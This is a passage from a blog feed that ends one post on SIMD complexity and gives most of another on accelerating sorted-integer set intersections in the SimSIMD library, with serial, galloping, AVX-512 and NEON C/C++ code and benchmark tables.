\u0026#34;=r\u0026#34;(id_aa64isar0_el1)); unsigned supports_integer_dot_products = ((id_aa64isar0_el1 \u0026gt;\u0026gt; 44) \u0026amp; 0xF) \u0026gt;= 1; __asm__ __volatile__(\u0026#34;mrs %0, ID_AA64ISAR1_EL1\u0026#34; : \u0026#34;=r\u0026#34;(id_aa64isar1_el1)); unsigned supports_i8mm = ((id_aa64isar1_el1 \u0026gt;\u0026gt; 52) \u0026amp; 0xF) \u0026gt;= 1; unsigned supports_bf16 = ((id_aa64isar1_el1 \u0026gt;\u0026gt; 44) \u0026amp; 0xF) \u0026gt;= 1; __asm__ __volatile__(\u0026#34;mrs %0, ID_AA64PFR0_EL1\u0026#34; : \u0026#34;=r\u0026#34;(id_aa64pfr0_el1)); unsigned supports_sve = ((id_aa64pfr0_el1 \u0026gt;\u0026gt; 32) \u0026amp; 0xF) \u0026gt;= 1; unsigned supports_fp16 = ((id_aa64pfr0_el1 \u0026gt;\u0026gt; 20) \u0026amp; 0xF) == 1; if (supports_sve) // Querying SVE2 and SVE2.1 requires SVE to be supported __asm__ __volatile__(\u0026#34;mrs %0, ID_AA64ZFR0_EL1\u0026#34; : \u0026#34;=r\u0026#34;(id_aa64zfr0_el1)); unsigned supports_sve_i8mm = ((id_aa64zfr0_el1 \u0026gt;\u0026gt; 44) \u0026amp; 0xF) \u0026gt;= 1; unsigned supports_sve_bf16 = ((id_aa64zfr0_el1 \u0026gt;\u0026gt; 20) \u0026amp; 0xF) \u0026gt;= 1; unsigned supports_sve2 = ((id_aa64zfr0_el1) \u0026amp; 0xF) \u0026gt;= 1; unsigned supports_sve2p1 = ((id_aa64zfr0_el1) \u0026amp; 0xF) \u0026gt;= 2; unsigned supports_neon = 1; // NEON is always supported on our target platforms .... #elif defined(SIMSIMD_DEFINED_APPLE) ... #else // SIMSIMD_DEFINED_LINUX return simsimd_cap_serial_k; #endif Feature resolution (like the CPUID above) is great, but it can be slow, sometimes even up to 300 CPU cycles. So you should only do it once, and cache the list of available CPU capabilities.\nConclusion As you can see, SIMD is full of challenges! And keep in mind, this is just one simple case of us calculating a cosine distance.\nBut it\u0026rsquo;s worth it. When one navigates the hurdles and harnesses SIMD correctly, it unlocks incredible performance, often an order of magnitude higher than naive serial code.\nI hope you enjoyed this whirlwind tour of SIMD\u0026rsquo;s complexities! It was quite long, but we didn\u0026rsquo;t even try analyzing port utilization for different families of instructions on x86. We haven\u0026rsquo;t looked into SME and streaming SVE modes for recent arm cores. We didn\u0026rsquo;t study the CPU frequency scaling license, even though many of those aspects are already covered by SimSIMD kernels running under the hood of your favorite data products. So much is still ahead!\nIn Part 2, we\u0026rsquo;ll talk about how Mojo helps with a lot of these problems! Ping me (@ashvardanian) or anyone related (@verdagon, @lemire, @clattner_llvm) if you have any questions, and join the Modular Discord server if you have special requests for Part 2!\n","permalink":"https://ashvardanian.com/posts/understanding-simd-complexity/","summary":"\u003cblockquote\u003e\n\u003cp\u003eThis blogpost is a mirror of the \u003ca href=\"https://www.modular.com/blog/understanding-simd-infinite-complexity-of-trivial-problems\"\u003eoriginal post on Modular.com\u003c/a\u003e.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eModern CPUs have an incredible superpower: super-scalar operations, made available through single instruction, multiple data (SIMD) parallel processing.\nInstead of doing one operation at a time, a single core can do up to 4, 8, 16, or even 32 operations in parallel.\nIn a way, a modern CPU is like a mini GPU, able to perform a lot of simultaneous calculations.\nYet, because it\u0026rsquo;s so tricky to write parallel operations, almost all that potential remains untapped, resulting in code that only does one operation at a time.\u003c/p\u003e","title":"Understanding SIMD: Infinite Complexity of Trivial Problems 🔥"},{"content":"Set intersections are one of the standard operations in databases and search engines. They are used in:\nTF-IDF ranking in search engines, Table Joins in OLAP databases, Graph Algorithms. Chances are, you rely on them every day, but you may not realize that they are some of the most complex operations to accelerate with SIMD instructions. SIMD instructions make up the majority of modern Assembly instruction sets on x86 and Arm. They can yield 10x speedups, but due to their complexity, they are almost never used in production codebases.\nMeet SimSIMD, which achieves up to 5x faster set intersections for sorted arrays of unique u16 and u32 values. With SimSIMD v5.3, we\u0026rsquo;ve broken new ground: it was one of the first libraries to support Arm\u0026rsquo;s Scalable Vector Extensions (SVE) and now leads the charge on SVE2.\nThis latest release uses instructions like HISTCNT and MATCH and compares their performance to Intel\u0026rsquo;s VP2INTERSECT in AVX-512, along with simpler methods like Galloping. These instructions are already live on AWS Graviton 4 CPUs and will soon power Nvidia\u0026rsquo;s Grace Hopper, Microsoft Cobalt, and Google Axios. So, let\u0026rsquo;s dive into the details and see how more software can get those 5x speedups.\nBaseline Algorithm Let\u0026rsquo;s say you have two sets of unique integers, like identifiers of different documents or tokens. You\u0026rsquo;d often store them in the form of a sorted array and intersected with:\n1 2 3 4 5 6 7 8 9 10 11 12 13 def intersect(a, b): i, j = 0, 0 result = [] while i \u0026lt; len(a) and j \u0026lt; len(b): if a[i] == b[j]: result.append(a[i]) i += 1 j += 1 elif a[i] \u0026lt; b[j]: i += 1 else: j += 1 return result Rewriting this in C++, gives us the simplified analog of std::set_intersection from the Standard Template Library:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 template \u0026lt;typename T\u0026gt; std::vector\u0026lt;T\u0026gt; intersect(std::vector\u0026lt;T\u0026gt; const \u0026amp; a, std::vector\u0026lt;T\u0026gt; const \u0026amp; b) { std::vector\u0026lt;T\u0026gt; result; auto i = a.begin(), j = b.begin(); while (i != a.end() \u0026amp;\u0026amp; j != b.end()) { if (*i == *j) { result.push_back(*i); ++i; ++j; } else if (*i \u0026lt; *j) { ++i; } else { ++j; } } return result; } In the SimSIMD v5.1 library release, I\u0026rsquo;ve added Set Intersections as a similarity metric for sparse vector representations. There, I don\u0026rsquo;t need to export the matches but rather just count them, making the serial algorithm even more straightforward:\n1 2 3 4 5 6 7 8 9 10 template \u0026lt;typename T\u0026gt; size_t intersection_size(T const *a, T const *b, size_t n, size_t m) noexcept { size_t i = 0, j = 0, count = 0; while (i \u0026lt; n \u0026amp;\u0026amp; j \u0026lt; m) { if (a[i] \u0026lt; b[j]) i++; else if (a[i] \u0026gt; b[j]) j++; else i++, j++, count++; } return count; } There are several ways to optimize this algorithm, but the most common one is using the Galloping algorithm, a binary search with a twist.\nGalloping The Galloping algorithm is a straightforward application of the binary search algorithm. The idea is to find the first element of the first array in the second array. If the element is found, we can add it to the result and continue the search from the next element. Thus, we reduce each iteration\u0026rsquo;s searchable scope within the second array.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include \u0026lt;algorithm\u0026gt; // for `std::lower_bound` binary search procedure template \u0026lt;typename T\u0026gt; size_t galloping_intersection_size(T const *a, T const *b, size_t n, size_t m) noexcept { size_t i = 0, j = 0, count = 0; while (i \u0026lt; n \u0026amp;\u0026amp; j \u0026lt; m) { // If elements are equal, increment both indices and count if (a[i] == b[j]) count++, i++, j++; // If a[i] is smaller, gallop through b to find its match else if (a[i] \u0026lt; b[j]) j = std::lower_bound(b + j, b + m, a[i]) - b; // If a[i] is larger, gallop through a to find its match else i = std::lower_bound(a + i, a + n, b[j]) - a; } return count; } As it can be guessed, if one array is orders of magnitude smaller than the other, the Galloping algorithm can be much faster. It generally becomes noticeable when the ratio of the sizes is more than 100:1. When you are dealing with uint16_t 16-bit integers, the computer will still fetch entire cache lines from DRAM to SRAM, so the read amplification of every binary search iteration is 32x, and the latency of the DRAM access is easily 100x higher than a single CPU cycle needed to compare two integers. Anything else we can do?\nBaseline Benchmarks The practical runtime of algorithms depends on the inputs\u0026rsquo; size and intersection. The SimSIMD benchmarking suite includes a benchmark for those implemented with Google Benchmark.\n1 2 3 cmake -D CMAKE_BUILD_TYPE=Release -D SIMSIMD_BUILD_BENCHMARKS=1 -B build_release cmake --build build_release --config Release build_release/simsimd_bench --benchmark_filter=intersect In SimSIMD applications, we generally deal with vectors containing roughly 128, 1'024, 8'192, or up to 65'536 elements. The set intersection is emulated to be 1%, 5%, 50%, and 95% of the smaller array. This is what the logic for defining benchmarks looks like:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // Register different lengths, intersection sizes, and distributions // 2 first lengths * 3 second length multipliers * 4 intersection grades = 24 benchmarks for each metric. for (std::size_t first_len : {128, 1024}) { //\u0026lt; 2 lengths for (std::size_t second_len_multiplier : {1, 8, 64}) { //\u0026lt; 3 length multipliers for (double intersection_share : {0.01, 0.05, 0.5, 0.95}) { //\u0026lt; 4 intersection grades std::size_t intersection_size = static_cast\u0026lt;std::size_t\u0026gt;(first_len * intersection_share); std::size_t second_len = first_len * second_len_multiplier; std::string bench_name = name + \u0026#34;\u0026lt;#A=\u0026#34; + std::to_string(first_len) + \u0026#34;,#B=\u0026#34; + std::to_string(second_len) + \u0026#34;,#A∩B=\u0026#34; + std::to_string(intersection_size) + \u0026#34;\u0026gt;\u0026#34;; // Results in: // - intersect_u16_ice\u0026lt;#A=128,#B=128,#A∩B=1\u0026gt; // - intersect_u16_ice\u0026lt;#A=1024,#B=8192,#A∩B=512\u0026gt; Running it we get a baseline for our serial implementation:\n1 $ build_release/simsimd_bench --benchmark_filter=intersect_u16_serial 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ----------------------------------------------------------------------------------------------------------- Benchmark Time CPU Iterations UserCounters... ----------------------------------------------------------------------------------------------------------- intersect_u16_serial\u0026lt;#A=128,#B=128,#A∩B=1\u0026gt; 567 ns 567 ns 24785678 pairs=1.76263M/s intersect_u16_serial\u0026lt;#A=128,#B=128,#A∩B=6\u0026gt; 567 ns 567 ns 24598141 pairs=1.76286M/s intersect_u16_serial\u0026lt;#A=128,#B=128,#A∩B=64\u0026gt; 569 ns 569 ns 24741572 pairs=1.75684M/s intersect_u16_serial\u0026lt;#A=128,#B=128,#A∩B=121\u0026gt; 568 ns 568 ns 24871638 pairs=1.76073M/s intersect_u16_serial\u0026lt;#A=128,#B=1024,#A∩B=1\u0026gt; 2508 ns 2508 ns 5591748 pairs=398.803k/s intersect_u16_serial\u0026lt;#A=128,#B=1024,#A∩B=6\u0026gt; 2509 ns 2509 ns 5589871 pairs=398.535k/s intersect_u16_serial\u0026lt;#A=128,#B=1024,#A∩B=64\u0026gt; 2530 ns 2530 ns 5564535 pairs=395.33k/s intersect_u16_serial\u0026lt;#A=128,#B=1024,#A∩B=121\u0026gt; 2522 ns 2522 ns 5532306 pairs=396.447k/s intersect_u16_serial\u0026lt;#A=128,#B=8192,#A∩B=1\u0026gt; 4791 ns 4791 ns 2920833 pairs=208.737k/s intersect_u16_serial\u0026lt;#A=128,#B=8192,#A∩B=6\u0026gt; 4800 ns 4800 ns 2923139 pairs=208.346k/s intersect_u16_serial\u0026lt;#A=128,#B=8192,#A∩B=64\u0026gt; 4821 ns 4820 ns 2906942 pairs=207.448k/s intersect_u16_serial\u0026lt;#A=128,#B=8192,#A∩B=121\u0026gt; 4843 ns 4843 ns 2897334 pairs=206.504k/s intersect_u16_serial\u0026lt;#A=1024,#B=1024,#A∩B=10\u0026gt; 4484 ns 4484 ns 3122873 pairs=223.023k/s intersect_u16_serial\u0026lt;#A=1024,#B=1024,#A∩B=51\u0026gt; 4479 ns 4479 ns 3124662 pairs=223.261k/s intersect_u16_serial\u0026lt;#A=1024,#B=1024,#A∩B=512\u0026gt; 4484 ns 4484 ns 3125584 pairs=223.034k/s intersect_u16_serial\u0026lt;#A=1024,#B=1024,#A∩B=972\u0026gt; 4500 ns 4500 ns 3104588 pairs=222.229k/s intersect_u16_serial\u0026lt;#A=1024,#B=8192,#A∩B=10\u0026gt; 20118 ns 20117 ns 696244 pairs=49.7084k/s intersect_u16_serial\u0026lt;#A=1024,#B=8192,#A∩B=51\u0026gt; 20134 ns 20134 ns 696160 pairs=49.6682k/s intersect_u16_serial\u0026lt;#A=1024,#B=8192,#A∩B=512\u0026gt; 20125 ns 20124 ns 695799 pairs=49.6911k/s intersect_u16_serial\u0026lt;#A=1024,#B=8192,#A∩B=972\u0026gt; 20102 ns 20102 ns 695762 pairs=49.7464k/s Sadly, the std::unordered_set used to produce the input dataset is too slow to scale to 65'536 elements 🤦‍♂️\nSIMD I am not even remotely the first to think about accelerating set intersections with SIMD instructions. The most representative single-purpose repositories are:\ntetzank/SIMDSetOperations lemire/SIMDCompressionAndIntersection mozonaut/vp2intersect There are also production systems using those ideas. Let\u0026rsquo;s start with SSE usage in NMSLIB.\nString Matching Instructions in SSE The Non-Metric Space Library (NMSLIB) is one of the best original Nearest-Neighbors Search libraries. Here is a snippet from their SparseScalarProductFastIntern function:\n1 2 3 4 5 6 __m128i id1 = _mm_loadu_si128(reinterpret_cast\u0026lt;const __m128i *\u0026gt;(\u0026amp;pBlockIds1[i1])); __m128i id2 = _mm_loadu_si128(reinterpret_cast\u0026lt;const __m128i *\u0026gt;(\u0026amp;pBlockIds2[i2])); while (true) { __m128i cmpRes = _mm_cmpistrm(id2, id1, _SIDD_UWORD_OPS | _SIDD_CMP_EQUAL_ANY | _SIDD_BIT_MASK); int r = _mm_extract_epi32(cmpRes, 0); The _mm_cmpistrm is intrinsic for the pcmpistrm instruction in the SSE4.2 instruction set, and it is used to compare two strings. It\u0026rsquo;s a heavy function, with a latency of 10 cycles on Intel Skylake CPUs and tons of flags. It\u0026rsquo;s so bad, that calling it the fcntl of SIMD instructions won\u0026rsquo;t be an exaggeration:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 _SIDD_UBYTE_OPS // unsigned 8-bit characters _SIDD_UWORD_OPS // unsigned 16-bit characters _SIDD_SBYTE_OPS // signed 8-bit characters _SIDD_SWORD_OPS // signed 16-bit characters _SIDD_CMP_EQUAL_ANY // compare equal any _SIDD_CMP_RANGES // compare ranges _SIDD_CMP_EQUAL_EACH // compare equal each _SIDD_CMP_EQUAL_ORDERED // compare equal ordered _SIDD_NEGATIVE_POLARITY // negate results _SIDD_MASKED_NEGATIVE_POLARITY // negate results only before end of string _SIDD_LEAST_SIGNIFICANT // index only: return last significant bit _SIDD_MOST_SIGNIFICANT // index only: return most significant bit _SIDD_BIT_MASK // mask only: return bit mask _SIDD_UNIT_MASK // mask only: return byte/word mask Announced back in 2006, it was designed for 128-bit XMM registers. It\u0026rsquo;s not a stretch to imagine that we can do better in 2024 with 512-bit ZMM registers and much more powerful AVX-512 instructions.\nIntegers Comparisons with AVX-512BW On Intel Ice Lake and newer CPUs, we can use the AVX-512BW instructions for simple integer comparisons for a baseline implementation:\nLoad one element from the first array and a vector of elements from the second array. Compare the first element with all elements in the vector. Skip: potentially many elements in the second array and at most, one element in the first array. Repeat. One nifty optimization is to keep the shorter array in the first argument and the longer array in the second argument, swapping them if necessary. Putting this into code for uint16_t arguments, targeting Intel Ice Lake CPUs and newer, we get:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 void simsimd_intersect_u16_ice( simsimd_u16_t const* shorter, simsimd_u16_t const* longer, simsimd_size_t shorter_length, simsimd_size_t longer_length, simsimd_distance_t* results) { simsimd_size_t intersection_count = 0; simsimd_size_t shorter_idx = 0, longer_idx = 0; simsimd_size_t longer_load_size; __mmask32 longer_mask; while (shorter_idx \u0026lt; shorter_length \u0026amp;\u0026amp; longer_idx \u0026lt; longer_length) { // Load `shorter_member` and broadcast it to shorter vector, load `longer_members_vec` from memory. simsimd_size_t longer_remaining = longer_length - longer_idx; simsimd_u16_t shorter_member = shorter[shorter_idx]; __m512i shorter_member_vec = _mm512_set1_epi16(*(short*)\u0026amp;shorter_member); __m512i longer_members_vec; if (longer_remaining \u0026lt; 32) { longer_load_size = longer_remaining; longer_mask = (__mmask32)_bzhi_u32(0xFFFFFFFF, longer_remaining); } else { longer_load_size = 32; longer_mask = 0xFFFFFFFF; } longer_members_vec = _mm512_maskz_loadu_epi16(longer_mask, (__m512i const*)(longer + longer_idx)); // Compare `shorter_member` with each element in `longer_members_vec`, // and jump to the position of the match. There can be only one match at most! __mmask32 equal_mask = _mm512_mask_cmpeq_epu16_mask(longer_mask, shorter_member_vec, longer_members_vec); simsimd_size_t equal_count = equal_mask != 0; intersection_count += equal_count; // When comparing a scalar against a sorted array, we can find three types of elements: // - entries that scalar is greater than, // - entries that scalar is equal to, // - entries that scalar is less than, // ... in that order! Any of them can be an empty set. __mmask32 greater_mask = _mm512_mask_cmplt_epu16_mask(longer_mask, longer_members_vec, shorter_member_vec); simsimd_size_t greater_count = _mm_popcnt_u32(greater_mask); simsimd_size_t smaller_exists = longer_load_size \u0026gt; greater_count - equal_count; // Advance the first array: // - to the next element, if a match was found, // - to the next element, if the current element is smaller than any elements in the second array. shorter_idx += equal_count | smaller_exists; // Advance the second array: // - to the next element after match, if a match was found, // - to the first element that is greater than the current element in the first array, if no match was found. longer_idx += greater_count + equal_count; // At any given cycle, take one entry from shorter array and compare it with multiple from the longer array. // For that, we need to swap the arrays if necessary. if ((shorter_length - shorter_idx) \u0026gt; (longer_length - longer_idx)) { simsimd_u16_t const* temp_array = shorter; shorter = longer, longer = temp_array; simsimd_size_t temp_length = shorter_length; shorter_length = longer_length, longer_length = temp_length; simsimd_size_t temp_idx = shorter_idx; shorter_idx = longer_idx, longer_idx = temp_idx; } } *results = intersection_count; } Every time we load data, we need to perform 2 comparisons and analyze the resulting masks. Running the benchmark, we get:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 --------------------------------------------------------------------------------------------------------- Benchmark Time CPU Iterations UserCounters... --------------------------------------------------------------------------------------------------------- intersect_u16_ice\u0026lt;#A=128d,#B=128,#A∩B=1\u0026gt; 875 ns 875 ns 16248886 pairs=1.14342M/s intersect_u16_ice\u0026lt;#A=128d,#B=128,#A∩B=6\u0026gt; 873 ns 873 ns 16081249 pairs=1.14555M/s intersect_u16_ice\u0026lt;#A=128d,#B=128,#A∩B=64\u0026gt; 882 ns 882 ns 15851609 pairs=1.13354M/s intersect_u16_ice\u0026lt;#A=128d,#B=128,#A∩B=121\u0026gt; 916 ns 916 ns 15282595 pairs=1091.32k/s intersect_u16_ice\u0026lt;#A=128d,#B=1024,#A∩B=1\u0026gt; 955 ns 955 ns 14660187 pairs=1047.53k/s intersect_u16_ice\u0026lt;#A=128d,#B=1024,#A∩B=6\u0026gt; 955 ns 955 ns 14663375 pairs=1047.57k/s intersect_u16_ice\u0026lt;#A=128d,#B=1024,#A∩B=64\u0026gt; 952 ns 952 ns 14702462 pairs=1050.17k/s intersect_u16_ice\u0026lt;#A=128d,#B=1024,#A∩B=121\u0026gt; 949 ns 949 ns 14743103 pairs=1053.59k/s intersect_u16_ice\u0026lt;#A=128d,#B=8192,#A∩B=1\u0026gt; 2718 ns 2718 ns 5168053 pairs=367.871k/s intersect_u16_ice\u0026lt;#A=128d,#B=8192,#A∩B=6\u0026gt; 2698 ns 2698 ns 5155819 pairs=370.664k/s intersect_u16_ice\u0026lt;#A=128d,#B=8192,#A∩B=64\u0026gt; 2705 ns 2705 ns 5203675 pairs=369.686k/s intersect_u16_ice\u0026lt;#A=128d,#B=8192,#A∩B=121\u0026gt; 2693 ns 2693 ns 5187007 pairs=371.377k/s intersect_u16_ice\u0026lt;#A=1024d,#B=1024,#A∩B=10\u0026gt; 7310 ns 7310 ns 1910292 pairs=136.8k/s intersect_u16_ice\u0026lt;#A=1024d,#B=1024,#A∩B=51\u0026gt; 7312 ns 7312 ns 1913190 pairs=136.759k/s intersect_u16_ice\u0026lt;#A=1024d,#B=1024,#A∩B=512\u0026gt; 7365 ns 7365 ns 1900946 pairs=135.781k/s intersect_u16_ice\u0026lt;#A=1024d,#B=1024,#A∩B=972\u0026gt; 7439 ns 7439 ns 1882319 pairs=134.43k/s intersect_u16_ice\u0026lt;#A=1024d,#B=8192,#A∩B=10\u0026gt; 7682 ns 7681 ns 1821784 pairs=130.183k/s intersect_u16_ice\u0026lt;#A=1024d,#B=8192,#A∩B=51\u0026gt; 7695 ns 7695 ns 1821861 pairs=129.955k/s intersect_u16_ice\u0026lt;#A=1024d,#B=8192,#A∩B=512\u0026gt; 7643 ns 7643 ns 1829955 pairs=130.842k/s intersect_u16_ice\u0026lt;#A=1024d,#B=8192,#A∩B=972\u0026gt; 7617 ns 7617 ns 1838612 pairs=131.279k/s Highlighting the results:\nBenchmark Serial 🆕 AVX-512BW Small: #A=128,#B=128,#A∩B=1 1'762 K/s 1'143 K/s Medium: #A=128,#B=1024,#A∩B=6 398 K/s 1'047 K/s Large: #A=1024,#B=1024,#A∩B=512 223 K/s 135 K/s Largest: #A=1024,#B=8192,#A∩B=972 49 K/s 131 K/s We can do better.\nEmulating AVX-512VP2INTERSECT AVX-512 added many instructions, one of the most interesting ones being the VP2INTERSECT instructions. Here is how Intel documents them:\nCompute intersection of packed 32-bit integer vectors a and b, and store indication of match in the corresponding bit of two mask registers specified by k1 and k2. A match in corresponding elements of a and b is indicated by a set bit in the corresponding bit of the mask registers.\nMEM[k1+15:k1] := 0 MEM[k2+15:k2] := 0 FOR i := 0 TO 15 FOR j := 0 TO 15 match := (a.dword[i] == b.dword[j] ? 1 : 0) MEM[k1+15:k1].bit[i] |= match MEM[k2+15:k2].bit[j] |= match ENDFOR ENDFOR Even from pseudo-code, it clearly does at least 2x more work than a set intersection would — comparing all pairs of elements instead of just the upper or lower triangle of the matrix. Moreover, it applies only to 32-bit and 64-bit integers and has extremely high latency. It was an easy pass, assuming only a few Intel Tiger Lake mobile CPUs support the VP2INTERSECT subset of AVX-512.\nStill, a 2022 paper by Guille Diez-Canas, explores emulating this instruction using VPERM, VPSHUF, and VALIGN:\nSince computing set intersections (or sizes of set intersections) of sorted vectors only makes use of the first output result of a vp2intersectd instruction (as seen in listing 1), we implement equivalents to all instructions in the VP2INTERSECT subset that return only the first output mask. Note, therefore, that our implementations (except for that of section 3.3) are not drop-in replacements for the VP2INTERSECT subset. In fact, as shown in section 3.3, the strict emulation is slower than the native instruction.\nThe outlined procedures, however, can be valuable for our use case. I have reimplemented them in SimSIMD, integrating with minor modifications under the name _mm512_2intersect_epi16_mask, and voila:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 void simsimd_intersect_u16_ice( simsimd_u16_t const* a, simsimd_u16_t const* b, simsimd_size_t a_length, simsimd_size_t b_length, simsimd_distance_t* results) { simsimd_u16_t const* const a_end = a + a_length; simsimd_u16_t const* const b_end = b + b_length; simsimd_size_t c = 0; union vec_t { __m512i zmm; simsimd_u16_t u16[32]; simsimd_u8_t u8[64]; } a_vec, b_vec; while (a + 32 \u0026lt; a_end \u0026amp;\u0026amp; b + 32 \u0026lt; b_end) { a_vec.zmm = _mm512_loadu_si512((__m512i const*)a); b_vec.zmm = _mm512_loadu_si512((__m512i const*)b); // Intersecting registers with `_mm512_2intersect_epi16_mask` involves a lot of shuffling // and comparisons, so we want to avoid it if the slices don\u0026#39;t overlap at all simsimd_u16_t a_min; simsimd_u16_t a_max = a_vec.u16[31]; simsimd_u16_t b_min = b_vec.u16[0]; simsimd_u16_t b_max = b_vec.u16[31]; // If the slices don\u0026#39;t overlap, advance the appropriate pointer while (a_max \u0026lt; b_min \u0026amp;\u0026amp; a + 64 \u0026lt; a_end) { a += 32; a_vec.zmm = _mm512_loadu_si512((__m512i const*)a); a_max = a_vec.u16[31]; } a_min = a_vec.u16[0]; while (b_max \u0026lt; a_min \u0026amp;\u0026amp; b + 64 \u0026lt; b_end) { b += 32; b_vec.zmm = _mm512_loadu_si512((__m512i const*)b); b_max = b_vec.u16[31]; } b_min = b_vec.u16[0]; // Now we are likely to have some overlap, so we can intersect the registers __mmask32 a_matches = _mm512_2intersect_epi16_mask(a_vec.zmm, b_vec.zmm); c += _mm_popcnt_u32(a_matches); // The `_popcnt32` symbol isn\u0026#39;t recognized by MSVC // Determine the number of entries to skip in each array, by comparing // every element in the vector with the last (largest) element in the other array __m512i a_last_broadcasted = _mm512_set1_epi16(*(short const*)\u0026amp;a_max); __m512i b_last_broadcasted = _mm512_set1_epi16(*(short const*)\u0026amp;b_max); __mmask32 a_step_mask = _mm512_cmple_epu16_mask(a_vec.zmm, b_last_broadcasted); __mmask32 b_step_mask = _mm512_cmple_epu16_mask(b_vec.zmm, a_last_broadcasted); a += 32 - _lzcnt_u32((simsimd_u32_t)a_step_mask); b += 32 - _lzcnt_u32((simsimd_u32_t)b_step_mask); } // Handle the tail: simsimd_intersect_u16_serial(a, b, a_end - a, b_end - b, results); *results += c; // And merge it with the main body result } There are a lot of neat aspects that make the borrowed _mm512_2intersect_epi16_mask subroutine great. Most similar snippets may rely on the following intrinsics:\nIntrinsic Requirements Latency _mm512_permutex_epi64 AVX-512F 3 cycles _mm512_permutexvar_epi16 AVX-512BW 4-6 cycles _mm512_permutexvar_epi8 AVX-512VBMI 3 cycles _mm512_shuffle_epi8 AVX-512BW 1 cycle Lesson? The permutex variants are slow and not always available. Shuffles are great! Feel free to quote me on that 😅:\nIf in C++ everything is a rotate, in Assembly everything is a shuffle!\nLuckily, our snippet uses only shuffles and alignr, reaching massive 7 Million pairs per second on 128-element arrays:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 -------------------------------------------------------------------------------------------------------- Benchmark Time CPU Iterations UserCounters... -------------------------------------------------------------------------------------------------------- intersect_u16_ice\u0026lt;#A=128,#B=128,#A∩B=1\u0026gt; 129 ns 129 ns 101989513 pairs=7.72559M/s intersect_u16_ice\u0026lt;#A=128,#B=128,#A∩B=6\u0026gt; 134 ns 134 ns 107140278 pairs=7.46949M/s intersect_u16_ice\u0026lt;#A=128,#B=128,#A∩B=64\u0026gt; 122 ns 122 ns 113134485 pairs=8.18634M/s intersect_u16_ice\u0026lt;#A=128,#B=128,#A∩B=121\u0026gt; 114 ns 114 ns 122765163 pairs=8.75268M/s intersect_u16_ice\u0026lt;#A=128,#B=1024,#A∩B=1\u0026gt; 1042 ns 1042 ns 13412933 pairs=959.711k/s intersect_u16_ice\u0026lt;#A=128,#B=1024,#A∩B=6\u0026gt; 1035 ns 1035 ns 13423867 pairs=966.278k/s intersect_u16_ice\u0026lt;#A=128,#B=1024,#A∩B=64\u0026gt; 1038 ns 1038 ns 13401265 pairs=963.267k/s intersect_u16_ice\u0026lt;#A=128,#B=1024,#A∩B=121\u0026gt; 1055 ns 1055 ns 13170438 pairs=948.193k/s intersect_u16_ice\u0026lt;#A=128,#B=8192,#A∩B=1\u0026gt; 4315 ns 4315 ns 3024069 pairs=231.776k/s intersect_u16_ice\u0026lt;#A=128,#B=8192,#A∩B=6\u0026gt; 3999 ns 3999 ns 3371134 pairs=250.088k/s intersect_u16_ice\u0026lt;#A=128,#B=8192,#A∩B=64\u0026gt; 4486 ns 4486 ns 3278143 pairs=222.9k/s intersect_u16_ice\u0026lt;#A=128,#B=8192,#A∩B=121\u0026gt; 4525 ns 4525 ns 3170802 pairs=220.991k/s intersect_u16_ice\u0026lt;#A=1024,#B=1024,#A∩B=10\u0026gt; 817 ns 817 ns 17102654 pairs=1.22419M/s intersect_u16_ice\u0026lt;#A=1024,#B=1024,#A∩B=51\u0026gt; 820 ns 820 ns 17168886 pairs=1.22003M/s intersect_u16_ice\u0026lt;#A=1024,#B=1024,#A∩B=512\u0026gt; 793 ns 793 ns 17756237 pairs=1.26107M/s intersect_u16_ice\u0026lt;#A=1024,#B=1024,#A∩B=972\u0026gt; 747 ns 747 ns 18261381 pairs=1.33794M/s intersect_u16_ice\u0026lt;#A=1024,#B=8192,#A∩B=10\u0026gt; 5142 ns 5142 ns 2728465 pairs=194.496k/s intersect_u16_ice\u0026lt;#A=1024,#B=8192,#A∩B=51\u0026gt; 5114 ns 5114 ns 2727670 pairs=195.56k/s intersect_u16_ice\u0026lt;#A=1024,#B=8192,#A∩B=512\u0026gt; 5142 ns 5142 ns 2716714 pairs=194.491k/s intersect_u16_ice\u0026lt;#A=1024,#B=8192,#A∩B=972\u0026gt; 5151 ns 5151 ns 2721708 pairs=194.148k/s Highlighting the results:\nBenchmark Serial AVX-512BW 🆕 AVX-512VP2INTERSECT Small: #A=128,#B=128,#A∩B=1 1'762 K/s 1'143 K/s 7'725 K/s Medium: #A=128,#B=1024,#A∩B=6 398 K/s 1'047 K/s 966 K/s Large: #A=1024,#B=1024,#A∩B=512 223 K/s 135 K/s 1'261 K/s Largest: #A=1024,#B=8192,#A∩B=972 49 K/s 131 K/s 194 K/s Masks \u0026amp; Bitsets in NEON Before jumping to SVE2, there is a well-known SIMD extension for ARM CPUs - NEON. It\u0026rsquo;s a 128-bit SIMD extension, available on most ARM CPUs, and should have been straightforward to implement, but it wasn\u0026rsquo;t. I\u0026rsquo;ve noticed a repeated pattern when I need a movemask x86 instruction to extract one bit from every byte or lane in the vector. There is a snippet I\u0026rsquo;ve previously borrowed from Danila Kutenin from his blogpost on the Arm page and previously used in StringZilla for faster-than-LibC memmem and strstr:\n1 2 3 simsimd_u64_t _simsimd_u8_to_u4_neon(uint8x16_t vec) { return vget_lane_u64(vreinterpret_u64_u8(vshrn_n_u16(vreinterpretq_u16_u8(vec), 4)), 0); } It is a powerful tool, use it wisely 😊\nNext up in my over-engineered SIMD version, I\u0026rsquo;ve faced the issue of implementing decent bitset operations on Arm. Arm does not have a good way of computing the population count of a bitset, similar to _mm_popcnt_u32 and _lzcnt_u32 on x86. One approach may be compiler intrinsics, like __builtin_popcountll and __builtin_clzll, but those are specific to GCC and Clang. Combining CPU-specific intrinsics with compiler-specific intrinsics 